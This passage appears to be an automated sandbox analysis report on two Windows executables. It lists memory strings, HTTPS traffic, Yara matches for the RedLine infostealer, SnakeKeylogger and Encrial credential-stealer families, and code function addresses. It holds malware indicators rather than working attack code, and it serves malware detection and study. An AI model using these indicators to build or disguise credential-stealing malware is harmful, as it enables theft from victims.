          Source: EYDNKhhJr.exe, 0000000F.00000002.3396800295.0000000004451000.00000004.00000800.00020000.00000000.sdmp, EYDNKhhJr.exe, 0000000F.00000002.3396800295.0000000004425000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://duckduckgo.com/chrome_newtab
          Source: EYDNKhhJr.exe, 0000000F.00000002.3396800295.0000000004451000.00000004.00000800.00020000.00000000.sdmp, EYDNKhhJr.exe, 0000000F.00000002.3396800295.0000000004425000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=
          Source: FT876567090.exe, 0000000A.00000002.3392046185.0000000003073000.00000004.00000800.00020000.00000000.sdmp, FT876567090.exe, 0000000A.00000002.3392046185.00000000030E3000.00000004.00000800.00020000.00000000.sdmp, FT876567090.exe, 0000000A.00000002.3392046185.000000000310C000.00000004.00000800.00020000.00000000.sdmp, EYDNKhhJr.exe, 0000000F.00000002.3390924672.0000000003461000.00000004.00000800.00020000.00000000.sdmp, EYDNKhhJr.exe, 0000000F.00000002.3390924672.0000000003488000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://reallyfreegeoip.org
          Source: FT876567090.exe, 0000000A.00000002.3390860083.0000000002F20000.00000004.08000000.00040000.00000000.sdmp, FT876567090.exe, 0000000A.00000002.3392046185.0000000003073000.00000004.00000800.00020000.00000000.sdmp, FT876567090.exe, 0000000A.00000002.3400445756.0000000005560000.00000004.08000000.00040000.00000000.sdmp, EYDNKhhJr.exe, 0000000F.00000002.3390924672.00000000033F3000.00000004.00000800.00020000.00000000.sdmp, EYDNKhhJr.exe, 0000000F.00000002.3388385151.0000000002F5F000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://reallyfreegeoip.org/xml/
          Source: EYDNKhhJr.exe, 0000000F.00000002.3390924672.0000000003488000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://reallyfreegeoip.org/xml/8.46.123.189
          Source: FT876567090.exe, 0000000A.00000002.3392046185.000000000309D000.00000004.00000800.00020000.00000000.sdmp, FT876567090.exe, 0000000A.00000002.3392046185.00000000030E3000.00000004.00000800.00020000.00000000.sdmp, FT876567090.exe, 0000000A.00000002.3392046185.000000000310C000.00000004.00000800.00020000.00000000.sdmp, EYDNKhhJr.exe, 0000000F.00000002.3390924672.000000000341C000.00000004.00000800.00020000.00000000.sdmp, EYDNKhhJr.exe, 0000000F.00000002.3390924672.0000000003461000.00000004.00000800.00020000.00000000.sdmp, EYDNKhhJr.exe, 0000000F.00000002.3390924672.0000000003488000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://reallyfreegeoip.org/xml/8.46.123.189$
          Source: EYDNKhhJr.exe, 0000000F.00000002.3390924672.00000000033F3000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://reallyfreegeoip.orgrd
          Source: FT876567090.exe, 0000000A.00000002.3397710460.00000000040D3000.00000004.00000800.00020000.00000000.sdmp, FT876567090.exe, 0000000A.00000002.3397710460.00000000040A7000.00000004.00000800.00020000.00000000.sdmp, EYDNKhhJr.exe, 0000000F.00000002.3396800295.0000000004451000.00000004.00000800.00020000.00000000.sdmp, EYDNKhhJr.exe, 0000000F.00000002.3396800295.0000000004425000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://www.ecosia.org/newtab/
          Source: EYDNKhhJr.exe, 0000000F.00000002.3396800295.0000000004451000.00000004.00000800.00020000.00000000.sdmp, EYDNKhhJr.exe, 0000000F.00000002.3396800295.0000000004425000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://www.google.com/images/branding/product/ico/googleg_lodp.ico
          Source: EYDNKhhJr.exe, 0000000F.00000002.3390924672.0000000003564000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://www.office.com/
          Source: FT876567090.exe, 0000000A.00000002.3392046185.00000000031EF000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://www.office.com/8u
          Source: FT876567090.exe, 0000000A.00000002.3392046185.00000000031F9000.00000004.00000800.00020000.00000000.sdmp, EYDNKhhJr.exe, 0000000F.00000002.3390924672.000000000355F000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://www.office.com/lB
          Source: unknownNetwork traffic detected: HTTP traffic on port 49733 -> 443
          Source: unknownNetwork traffic detected: HTTP traffic on port 49865 -> 443
          Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49865
          Source: unknownNetwork traffic detected: HTTP traffic on port 49758 -> 443
          Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49820
          Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49741
          Source: unknownNetwork traffic detected: HTTP traffic on port 49813 -> 443
          Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49860
          Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49782
          Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49781
          Source: unknownNetwork traffic detected: HTTP traffic on port 49741 -> 443
          Source: unknownNetwork traffic detected: HTTP traffic on port 49748 -> 443
          Source: unknownNetwork traffic detected: HTTP traffic on port 49781 -> 443
          Source: unknownNetwork traffic detected: HTTP traffic on port 49769 -> 443
          Source: unknownNetwork traffic detected: HTTP traffic on port 49803 -> 443
          Source: unknownNetwork traffic detected: HTTP traffic on port 49826 -> 443
          Source: unknownNetwork traffic detected: HTTP traffic on port 49805 -> 443
          Source: unknownNetwork traffic detected: HTTP traffic on port 49860 -> 443
          Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49759
          Source: unknownNetwork traffic detected: HTTP traffic on port 49791 -> 443
          Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49814
          Source: unknownNetwork traffic detected: HTTP traffic on port 49759 -> 443
          Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49758
          Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49813
          Source: unknownNetwork traffic detected: HTTP traffic on port 49774 -> 443
          Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49733
          Source: unknownNetwork traffic detected: HTTP traffic on port 49782 -> 443
          Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49730
          Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49774
          Source: unknownNetwork traffic detected: HTTP traffic on port 49730 -> 443
          Source: unknownNetwork traffic detected: HTTP traffic on port 49820 -> 443
          Source: unknownNetwork traffic detected: HTTP traffic on port 49814 -> 443
          Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49791
          Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49790
          Source: unknownNetwork traffic detected: HTTP traffic on port 49749 -> 443
          Source: unknownNetwork traffic detected: HTTP traffic on port 49829 -> 443
          Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49829
          Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49805
          Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49749
          Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49826
          Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49748
          Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49803
          Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49769
          Source: unknownNetwork traffic detected: HTTP traffic on port 49790 -> 443
          Source: unknownHTTPS traffic detected: 149.154.167.220:443 -> 192.168.2.6:49820 version: TLS 1.2
          Source: unknownHTTPS traffic detected: 149.154.167.220:443 -> 192.168.2.6:49829 version: TLS 1.2

          System Summary

          barindex
          Malicious sample detected (through community Yara rule)
          Source: 12.2.EYDNKhhJr.exe.448c7b0.1.raw.unpack, type: UNPACKEDPEMatched rule: Detects RedLine infostealer Author: ditekSHen
          Source: 0.2.FT876567090.exe.45117a8.2.unpack, type: UNPACKEDPEMatched rule: Detects RedLine infostealer Author: ditekSHen
          Source: 0.2.FT876567090.exe.39f4448.3.raw.unpack, type: UNPACKEDPEMatched rule: Detects RedLine infostealer Author: ditekSHen
          Source: 12.2.EYDNKhhJr.exe.4459990.2.unpack, type: UNPACKEDPEMatched rule: Detects RedLine infostealer Author: ditekSHen
          Source: 0.2.FT876567090.exe.45117a8.2.raw.unpack, type: UNPACKEDPEMatched rule: Detects RedLine infostealer Author: ditekSHen
          Source: 12.2.EYDNKhhJr.exe.4459990.2.raw.unpack, type: UNPACKEDPEMatched rule: Detects RedLine infostealer Author: ditekSHen
          Source: 10.2.FT876567090.exe.2f20000.1.unpack, type: UNPACKEDPEMatched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
          Source: 10.2.FT876567090.exe.2f20000.1.unpack, type: UNPACKEDPEMatched rule: Detects Encrial credential stealer malware Author: Florian Roth
          Source: 10.2.FT876567090.exe.2f20000.1.unpack, type: UNPACKEDPEMatched rule: Detects executables with potential process hoocking Author: ditekSHen
          Source: 15.2.EYDNKhhJr.exe.2f9fd66.1.unpack, type: UNPACKEDPEMatched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
          Source: 10.2.FT876567090.exe.5560000.3.unpack, type: UNPACKEDPEMatched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
          Source: 15.2.EYDNKhhJr.exe.2f9fd66.1.unpack, type: UNPACKEDPEMatched rule: Detects Encrial credential stealer malware Author: Florian Roth
          Source: 10.2.FT876567090.exe.5560000.3.unpack, type: UNPACKEDPEMatched rule: Detects Encrial credential stealer malware Author: Florian Roth
          Source: 15.2.EYDNKhhJr.exe.2f9fd66.1.unpack, type: UNPACKEDPEMatched rule: Detects executables with potential process hoocking Author: ditekSHen
          Source: 10.2.FT876567090.exe.5560000.3.unpack, type: UNPACKEDPEMatched rule: Detects executables with potential process hoocking Author: ditekSHen
          Source: 0.2.FT876567090.exe.449a788.1.raw.unpack, type: UNPACKEDPEMatched rule: Detects RedLine infostealer Author: ditekSHen
          Source: 10.2.FT876567090.exe.2f20f20.2.raw.unpack, type: UNPACKEDPEMatched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
          Source: 10.2.FT876567090.exe.2f20f20.2.raw.unpack, type: UNPACKEDPEMatched rule: Detects Encrial credential stealer malware Author: Florian Roth
          Source: 10.2.FT876567090.exe.2f20f20.2.raw.unpack, type: UNPACKEDPEMatched rule: Detects executables with potential process hoocking Author: ditekSHen
          Source: 10.2.FT876567090.exe.5560000.3.raw.unpack, type: UNPACKEDPEMatched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
          Source: 15.2.EYDNKhhJr.exe.2fa0c86.2.raw.unpack, type: UNPACKEDPEMatched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
          Source: 10.2.FT876567090.exe.2f20f20.2.unpack, type: UNPACKEDPEMatched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
          Source: 15.2.EYDNKhhJr.exe.2f9fd66.1.raw.unpack, type: UNPACKEDPEMatched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
          Source: 15.2.EYDNKhhJr.exe.2fa0c86.2.raw.unpack, type: UNPACKEDPEMatched rule: Detects Encrial credential stealer malware Author: Florian Roth
          Source: 10.2.FT876567090.exe.2f20000.1.raw.unpack, type: UNPACKEDPEMatched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
          Source: 10.2.FT876567090.exe.5560000.3.raw.unpack, type: UNPACKEDPEMatched rule: Detects Encrial credential stealer malware Author: Florian Roth
          Source: 15.2.EYDNKhhJr.exe.2fa0c86.2.unpack, type: UNPACKEDPEMatched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
          Source: 10.2.FT876567090.exe.2f20f20.2.unpack, type: UNPACKEDPEMatched rule: Detects Encrial credential stealer malware Author: Florian Roth
          Source: 15.2.EYDNKhhJr.exe.2f9fd66.1.raw.unpack, type: UNPACKEDPEMatched rule: Detects Encrial credential stealer malware Author: Florian Roth
          Source: 15.2.EYDNKhhJr.exe.2fa0c86.2.raw.unpack, type: UNPACKEDPEMatched rule: Detects executables with potential process hoocking Author: ditekSHen
          Source: 15.2.EYDNKhhJr.exe.2f9fd66.1.raw.unpack, type: UNPACKEDPEMatched rule: Detects executables with potential process hoocking Author: ditekSHen
          Source: 10.2.FT876567090.exe.2f20000.1.raw.unpack, type: UNPACKEDPEMatched rule: Detects Encrial credential stealer malware Author: Florian Roth
          Source: 10.2.FT876567090.exe.5560000.3.raw.unpack, type: UNPACKEDPEMatched rule: Detects executables with potential process hoocking Author: ditekSHen
          Source: 10.2.FT876567090.exe.2f20000.1.raw.unpack, type: UNPACKEDPEMatched rule: Detects executables with potential process hoocking Author: ditekSHen
          Source: 15.2.EYDNKhhJr.exe.2fa0c86.2.unpack, type: UNPACKEDPEMatched rule: Detects Encrial credential stealer malware Author: Florian Roth
          Source: 10.2.FT876567090.exe.2f20f20.2.unpack, type: UNPACKEDPEMatched rule: Detects executables with potential process hoocking Author: ditekSHen
          Source: 15.2.EYDNKhhJr.exe.2fa0c86.2.unpack, type: UNPACKEDPEMatched rule: Detects executables with potential process hoocking Author: ditekSHen
          Source: 0.2.FT876567090.exe.4423768.0.raw.unpack, type: UNPACKEDPEMatched rule: Detects RedLine infostealer Author: ditekSHen
          Source: 0000000A.00000002.3390860083.0000000002F20000.00000004.08000000.00040000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
          Source: 0000000A.00000002.3390860083.0000000002F20000.00000004.08000000.00040000.00000000.sdmp, type: MEMORYMatched rule: Detects Encrial credential stealer malware Author: Florian Roth
          Source: 0000000A.00000002.3390860083.0000000002F20000.00000004.08000000.00040000.00000000.sdmp, type: MEMORYMatched rule: Detects executables with potential process hoocking Author: ditekSHen
          Source: 0000000F.00000002.3388385151.0000000002F5F000.00000004.00000020.00020000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
          Source: 0000000A.00000002.3400445756.0000000005560000.00000004.08000000.00040000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
          Source: 0000000A.00000002.3400445756.0000000005560000.00000004.08000000.00040000.00000000.sdmp, type: MEMORYMatched rule: Detects Encrial credential stealer malware Author: Florian Roth
          Source: 0000000A.00000002.3400445756.0000000005560000.00000004.08000000.00040000.00000000.sdmp, type: MEMORYMatched rule: Detects executables with potential process hoocking Author: ditekSHen
          Source: Process Memory Space: FT876567090.exe PID: 8124, type: MEMORYSTRMatched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
          Source: Process Memory Space: EYDNKhhJr.exe PID: 3704, type: MEMORYSTRMatched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
          Source: C:\Users\user\Desktop\FT876567090.exeCode function: 0_2_04E4D4040_2_04E4D404
          Source: C:\Users\user\Desktop\FT876567090.exeCode function: 0_2_04F76DC00_2_04F76DC0
          Source: C:\Users\user\Desktop\FT876567090.exeCode function: 0_2_04F700400_2_04F70040
          Source: C:\Users\user\Desktop\FT876567090.exeCode function: 0_2_04F700190_2_04F70019
          Source: C:\Users\user\Desktop\FT876567090.exeCode function: 0_2_04F76DB20_2_04F76DB2
          Source: C:\Users\user\Desktop\FT876567090.exeCode function: 0_2_04F78E2F0_2_04F78E2F
          Source: C:\Users\user\Desktop\FT876567090.exeCode function: 0_2_055361A80_2_055361A8
          Source: C:\Users\user\Desktop\FT876567090.exeCode function: 0_2_055347110_2_05534711
          Source: C:\Users\user\Desktop\FT876567090.exeCode function: 0_2_055347200_2_05534720
          Source: C:\Users\user\Desktop\FT876567090.exeCode function: 0_2_055341700_2_05534170
          Source: C:\Users\user\Desktop\FT876567090.exeCode function: 0_2_055341600_2_05534160
          Source: C:\Users\user\Desktop\FT876567090.exeCode function: 0_2_05539FF10_2_05539FF1
          Source: C:\Users\user\Desktop\FT876567090.exeCode function: 0_2_070D96200_2_070D9620
          Source: C:\Users\user\Desktop\FT876567090.exeCode function: 0_2_070D1E300_2_070D1E30
          Source: C:\Users\user\Desktop\FT876567090.exeCode function: 0_2_070D15C00_2_070D15C0
          Source: C:\Users\user\Desktop\FT876567090.exeCode function: 0_2_070D3B100_2_070D3B10
          Source: C:\Users\user\Desktop\FT876567090.exeCode function: 0_2_070D32280_2_070D3228
          Source: C:\Users\user\Desktop\FT876567090.exeCode function: 0_2_070D32380_2_070D3238
          Source: C:\Users\user\Desktop\FT876567090.exeCode function: 0_2_070D19F80_2_070D19F8
          Source: C:\Users\user\Desktop\FT876567090.exeCode function: 0_2_070E1E7A0_2_070E1E7A
          Source: C:\Users\user\Desktop\FT876567090.exeCode function: 0_2_070E96C80_2_070E96C8
          Source: C:\Users\user\Desktop\FT876567090.exeCode function: 0_2_070E2CF80_2_070E2CF8
          Source: C:\Users\user\Desktop\FT876567090.exeCode function: 0_2_070E0B900_2_070E0B90
          Source: C:\Users\user\Desktop\FT876567090.exeCode function: 0_2_070E80A00_2_070E80A0
          Source: C:\Users\user\Desktop\FT876567090.exeCode function: 0_2_070E4F020_2_070E4F02
          Source: C:\Users\user\Desktop\FT876567090.exeCode function: 0_2_070E4F100_2_070E4F10
          Source: C:\Users\user\Desktop\FT876567090.exeCode function: 0_2_070E9FBA0_2_070E9FBA
          Source: C:\Users\user\Desktop\FT876567090.exeCode function: 0_2_070E9FC80_2_070E9FC8
          Source: C:\Users\user\Desktop\FT876567090.exeCode function: 0_2_070E8E400_2_070E8E40
          Source: C:\Users\user\Desktop\FT876567090.exeCode function: 0_2_070E86880_2_070E8688
          Source: C:\Users\user\Desktop\FT876567090.exeCode function: 0_2_070E86980_2_070E8698
          Source: C:\Users\user\Desktop\FT876567090.exeCode function: 0_2_070E96C60_2_070E96C6
          Source: C:\Users\user\Desktop\FT876567090.exeCode function: 0_2_070E3D080_2_070E3D08
          Source: C:\Users\user\Desktop\FT876567090.exeCode function: 0_2_070EA5600_2_070EA560
          Source: C:\Users\user\Desktop\FT876567090.exeCode function: 0_2_070E55790_2_070E5579
          Source: C:\Users\user\Desktop\FT876567090.exeCode function: 0_2_070EA5700_2_070EA570
          Source: C:\Users\user\Desktop\FT876567090.exeCode function: 0_2_070E55880_2_070E5588
          Source: C:\Users\user\Desktop\FT876567090.exeCode function: 0_2_070E14400_2_070E1440
          Source: C:\Users\user\Desktop\FT876567090.exeCode function: 0_2_070E2C960_2_070E2C96
          Source: C:\Users\user\Desktop\FT876567090.exeCode function: 0_2_070E2CAD0_2_070E2CAD
          Source: C:\Users\user\Desktop\FT876567090.exeCode function: 0_2_070E3CF80_2_070E3CF8
          Source: C:\Users\user\Desktop\FT876567090.exeCode function: 0_2_070E0B3D0_2_070E0B3D
          Source: C:\Users\user\Desktop\FT876567090.exeCode function: 0_2_070E83480_2_070E8348
          Source: C:\Users\user\Desktop\FT876567090.exeCode function: 0_2_070E83580_2_070E8358
          Source: C:\Users\user\Desktop\FT876567090.exeCode function: 0_2_070E0B760_2_070E0B76
          Source: C:\Users\user\Desktop\FT876567090.exeCode function: 0_2_070E53980_2_070E5398
          Source: C:\Users\user\Desktop\FT876567090.exeCode function: 0_2_070E53A80_2_070E53A8
          Source: C:\Users\user\Desktop\FT876567090.exeCode function: 0_2_070E8A800_2_070E8A80
          Source: C:\Users\user\Desktop\FT876567090.exeCode function: 0_2_070E8A900_2_070E8A90
          Source: C:\Users\user\Desktop\FT876567090.exeCode function: 0_2_070E51080_2_070E5108
          Source: C:\Users\user\Desktop\FT876567090.exeCode function: 0_2_070E51180_2_070E5118
          Source: C:\Users\user\Desktop\FT876567090.exeCode function: 0_2_070E00060_2_070E0006
          Source: C:\Users\user\Desktop\FT876567090.exeCode function: 0_2_070E00400_2_070E0040
          Source: C:\Users\user\Desktop\FT876567090.exeCode function: 0_2_070E80900_2_070E8090
          Source: C:\Users\user\Desktop\FT876567090.exeCode function: 0_2_070E18D90_2_070E18D9
          Source: C:\Users\user\Desktop\FT876567090.exeCode function: 10_2_00408C6010_2_00408C60
          Source: C:\Users\user\Desktop\FT876567090.exeCode function: 10_2_0040DC1110_2_0040DC11
          Source: C:\Users\user\Desktop\FT876567090.exeCode function: 10_2_00407C3F10_2_00407C3F
          Source: C:\Users\user\Desktop\FT876567090.exeCode function: 10_2_00418CCC10_2_00418CCC
          Source: C:\Users\user\Desktop\FT876567090.exeCode function: 10_2_00406CA010_2_00406CA0
          Source: C:\Users\user\Desktop\FT876567090.exeCode function: 10_2_004028B010_2_004028B0
          Source: C:\Users\user\Desktop\FT876567090.exeCode function: 10_2_0041A4BE10_2_0041A4BE
          Source: C:\Users\user\Desktop\FT876567090.exeCode function: 10_2_0041824410_2_00418244
          Source: C:\Users\user\Desktop\FT876567090.exeCode function: 10_2_0040165010_2_00401650
          Source: C:\Users\user\Desktop\FT876567090.exeCode function: 10_2_00402F2010_2_00402F20
          Source: C:\Users\user\Desktop\FT876567090.exeCode function: 10_2_0041878810_2_00418788
          Source: C:\Users\user\Desktop\FT876567090.exeCode function: 10_2_00402F8910_2_00402F89
          Source: C:\Users\user\Desktop\FT876567090.exeCode function: 10_2_00402B9010_2_00402B90
          Source: C:\Users\user\Desktop\FT876567090.exeCode function: 10_2_004073A010_2_004073A0
          Source: C:\Users\user\Desktop\FT876567090.exeCode function: 10_2_02D5D20A10_2_02D5D20A
          Source: C:\Users\user\Desktop\FT876567090.exeCode function: 10_2_02D5D7B810_2_02D5D7B8
          Source: C:\Users\user\Desktop\FT876567090.exeCode function: 10_2_02D574E010_2_02D574E0
          Source: C:\Users\user\Desktop\FT876567090.exeCode function: 10_2_02D5C4E010_2_02D5C4E0
          Source: C:\Users\user\Desktop\FT876567090.exeCode function: 10_2_02D5D4E010_2_02D5D4E0
          Source: C:\Users\user\Desktop\FT876567090.exeCode function: 10_2_02D5A59810_2_02D5A598
          Source: C:\Users\user\Desktop\FT876567090.exeCode function: 10_2_02D5586F10_2_02D5586F
          Source: C:\Users\user\Desktop\FT876567090.exeCode function: 10_2_02D5C98010_2_02D5C980
          Source: C:\Users\user\Desktop\FT876567090.exeCode function: 10_2_02D5EEE010_2_02D5EEE0
          Source: C:\Users\user\Desktop\FT876567090.exeCode function: 10_2_02D56EA810_2_02D56EA8
          Source: C:\Users\user\Desktop\FT876567090.exeCode function: 10_2_02D5CF3010_2_02D5CF30
          Source: C:\Users\user\Desktop\FT876567090.exeCode function: 10_2_02D5CC5810_2_02D5CC58
          Source: C:\Users\user\Desktop\FT876567090.exeCode function: 10_2_02D5431110_2_02D54311
          Source: C:\Users\user\Desktop\FT876567090.exeCode function: 10_2_02D5C6A810_2_02D5C6A8
          Source: C:\Users\user\Desktop\FT876567090.exeCode function: 10_2_02D5FBA810_2_02D5FBA8
          Source: C:\Users\user\Desktop\FT876567090.exeCode function: 10_2_02D5EED210_2_02D5EED2
          Source: C:\Users\user\Desktop\FT876567090.exeCode function: 10_2_02D52EF810_2_02D52EF8
          Source: C:\Users\user\Desktop\FT876567090.exeCode function: 10_2_05B0957810_2_05B09578
          Source: C:\Users\user\Desktop\FT876567090.exeCode function: 10_2_05B0504810_2_05B05048
          Source: C:\Users\user\Desktop\FT876567090.exeCode function: 10_2_05B09C4810_2_05B09C48
          Source: C:\Users\user\Desktop\FT876567090.exeCode function: 10_2_05B0258010_2_05B02580
          Source: C:\Users\user\Desktop\FT876567090.exeCode function: 10_2_05B0D58010_2_05B0D580
          Source: C:\Users\user\Desktop\FT876567090.exeCode function: 10_2_05B0D9D810_2_05B0D9D8
          Source: C:\Users\user\Desktop\FT876567090.exeCode function: 10_2_05B0D9C810_2_05B0D9C8
          Source: C:\Users\user\Desktop\FT876567090.exeCode function: 10_2_05B0D12810_2_05B0D128
          Source: C:\Users\user\Desktop\FT876567090.exeCode function: 10_2_05B0D11910_2_05B0D119
          Source: C:\Users\user\Desktop\FT876567090.exeCode function: 10_2_05B0D57010_2_05B0D570
          Source: C:\Users\user\Desktop\FT876567090.exeCode function: 10_2_05B0257610_2_05B02576
          Source: C:\Users\user\Desktop\FT876567090.exeCode function: 10_2_05B0FC9810_2_05B0FC98
          Source: C:\Users\user\Desktop\FT876567090.exeCode function: 10_2_05B0CCD010_2_05B0CCD0
          Source: C:\Users\user\Desktop\FT876567090.exeCode function: 10_2_05B0CCC010_2_05B0CCC0
          Source: C:\Users\user\Desktop\FT876567090.exeCode function: 10_2_05B0F83210_2_05B0F832
          Source: C:\Users\user\Desktop\FT876567090.exeCode function: 10_2_05B0503810_2_05B05038
          Source: C:\Users\user\Desktop\FT876567090.exeCode function: 10_2_05B0000610_2_05B00006
          Source: C:\Users\user\Desktop\FT876567090.exeCode function: 10_2_05B0004010_2_05B00040
          Source: C:\Users\user\Desktop\FT876567090.exeCode function: 10_2_05B0F84010_2_05B0F840
          Source: C:\Users\user\Desktop\FT876567090.exeCode function: 10_2_05B017B010_2_05B017B0
          Source: C:\Users\user\Desktop\FT876567090.exeCode function: 10_2_05B08BB110_2_05B08BB1
          Source: C:\Users\user\Desktop\FT876567090.exeCode function: 10_2_05B0EF9010_2_05B0EF90
          Source: C:\Users\user\Desktop\FT876567090.exeCode function: 10_2_05B0179F10_2_05B0179F
          Source: C:\Users\user\Desktop\FT876567090.exeCode function: 10_2_05B0EF8010_2_05B0EF80
          Source: C:\Users\user\Desktop\FT876567090.exeCode function: 10_2_05B0F3E810_2_05B0F3E8
          Source: C:\Users\user\Desktop\FT876567090.exeCode function: 10_2_05B0F3D710_2_05B0F3D7
          Source: C:\Users\user\Desktop\FT876567090.exeCode function: 10_2_05B08BC010_2_05B08BC0
          Source: C:\Users\user\Desktop\FT876567090.exeCode function: 10_2_05B00B3010_2_05B00B30
          Source: C:\Users\user\Desktop\FT876567090.exeCode function: 10_2_05B0EB3810_2_05B0EB38
          Source: C:\Users\user\Desktop\FT876567090.exeCode function: 10_2_05B00B2010_2_05B00B20
          Source: C:\Users\user\Desktop\FT876567090.exeCode function: 10_2_05B0EB2910_2_05B0EB29
          Source: C:\Users\user\Desktop\FT876567090.exeCode function: 10_2_05B0935810_2_05B09358
          Source: C:\Users\user\Desktop\FT876567090.exeCode function: 10_2_05B01E9810_2_05B01E98
          Source: C:\Users\user\Desktop\FT876567090.exeCode function: 10_2_05B0E28810_2_05B0E288
          Source: C:\Users\user\Desktop\FT876567090.exeCode function: 10_2_05B01E8A10_2_05B01E8A
          Source: C:\Users\user\Desktop\FT876567090.exeCode function: 10_2_05B0E6E010_2_05B0E6E0
          Source: C:\Users\user\Desktop\FT876567090.exeCode function: 10_2_05B0E6D010_2_05B0E6D0
          Source: C:\Users\user\Desktop\FT876567090.exeCode function: 10_2_05B0DE3010_2_05B0DE30
          Source: C:\Users\user\Desktop\FT876567090.exeCode function: 10_2_05B0DE1F10_2_05B0DE1F
          Source: C:\Users\user\Desktop\FT876567090.exeCode function: 10_2_05B0E27A10_2_05B0E27A
          Source: C:\Users\user\Desktop\FT876567090.exeCode function: 10_2_06D8BE1810_2_06D8BE18
          Source: C:\Users\user\Desktop\FT876567090.exeCode function: 10_2_06D84DE010_2_06D84DE0
          Source: C:\Users\user\Desktop\FT876567090.exeCode function: 10_2_06D8356C10_2_06D8356C
          Source: C:\Users\user\Desktop\FT876567090.exeCode function: 10_2_06D8503810_2_06D85038
          Source: C:\Users\user\AppData\Roaming\EYDNKhhJr.exeCode function: 12_2_02ACD40412_2_02ACD404
          Source: C:\Users\user\AppData\Roaming\EYDNKhhJr.exeCode function: 12_2_05246DC012_2_05246DC0
          Source: C:\Users\user\AppData\Roaming\EYDNKhhJr.exeCode function: 12_2_0524000612_2_05240006
          Source: C:\Users\user\AppData\Roaming\EYDNKhhJr.exeCode function: 12_2_0524004012_2_05240040
          Source: C:\Users\user\AppData\Roaming\EYDNKhhJr.exeCode function: 12_2_05246DB212_2_05246DB2
          Source: C:\Users\user\AppData\Roaming\EYDNKhhJr.exeCode function: 12_2_074196C812_2_074196C8
          Source: C:\Users\user\AppData\Roaming\EYDNKhhJr.exeCode function: 12_2_0741E6E812_2_0741E6E8
          Source: C:\Users\user\AppData\Roaming\EYDNKhhJr.exeCode function: 12_2_07411E8812_2_07411E88
          Source: C:\Users\user\AppData\Roaming\EYDNKhhJr.exeCode function: 12_2_07412CF812_2_07412CF8
          Source: C:\Users\user\AppData\Roaming\EYDNKhhJr.exeCode function: 12_2_07410B9012_2_07410B90
          Source: C:\Users\user\AppData\Roaming\EYDNKhhJr.exeCode function: 12_2_074180A012_2_074180A0
          Source: C:\Users\user\AppData\Roaming\EYDNKhhJr.exeCode function: 12_2_07414F0012_2_07414F00
          Source: C:\Users\user\AppData\Roaming\EYDNKhhJr.exeCode function: 12_2_07414F1012_2_07414F10
          Source: C:\Users\user\AppData\Roaming\EYDNKhhJr.exeCode function: 12_2_07419FC812_2_07419FC8
          Source: C:\Users\user\AppData\Roaming\EYDNKhhJr.exeCode function: 12_2_07419FBB12_2_07419FBB
          Source: C:\Users\user\AppData\Roaming\EYDNKhhJr.exeCode function: 12_2_07418E4012_2_07418E40
          Source: C:\Users\user\AppData\Roaming\EYDNKhhJr.exeCode function: 12_2_07418E5012_2_07418E50
          Source: C:\Users\user\AppData\Roaming\EYDNKhhJr.exeCode function: 12_2_07411E7B12_2_07411E7B
          Source: C:\Users\user\AppData\Roaming\EYDNKhhJr.exeCode function: 12_2_074146E812_2_074146E8
          Source: C:\Users\user\AppData\Roaming\EYDNKhhJr.exeCode function: 12_2_0741868812_2_07418688
          Source: C:\Users\user\AppData\Roaming\EYDNKhhJr.exeCode function: 12_2_0741869812_2_07418698
          Source: C:\Users\user\AppData\Roaming\EYDNKhhJr.exeCode function: 12_2_074196B812_2_074196B8
          Source: C:\Users\user\AppData\Roaming\EYDNKhhJr.exeCode function: 12_2_0741A56012_2_0741A560
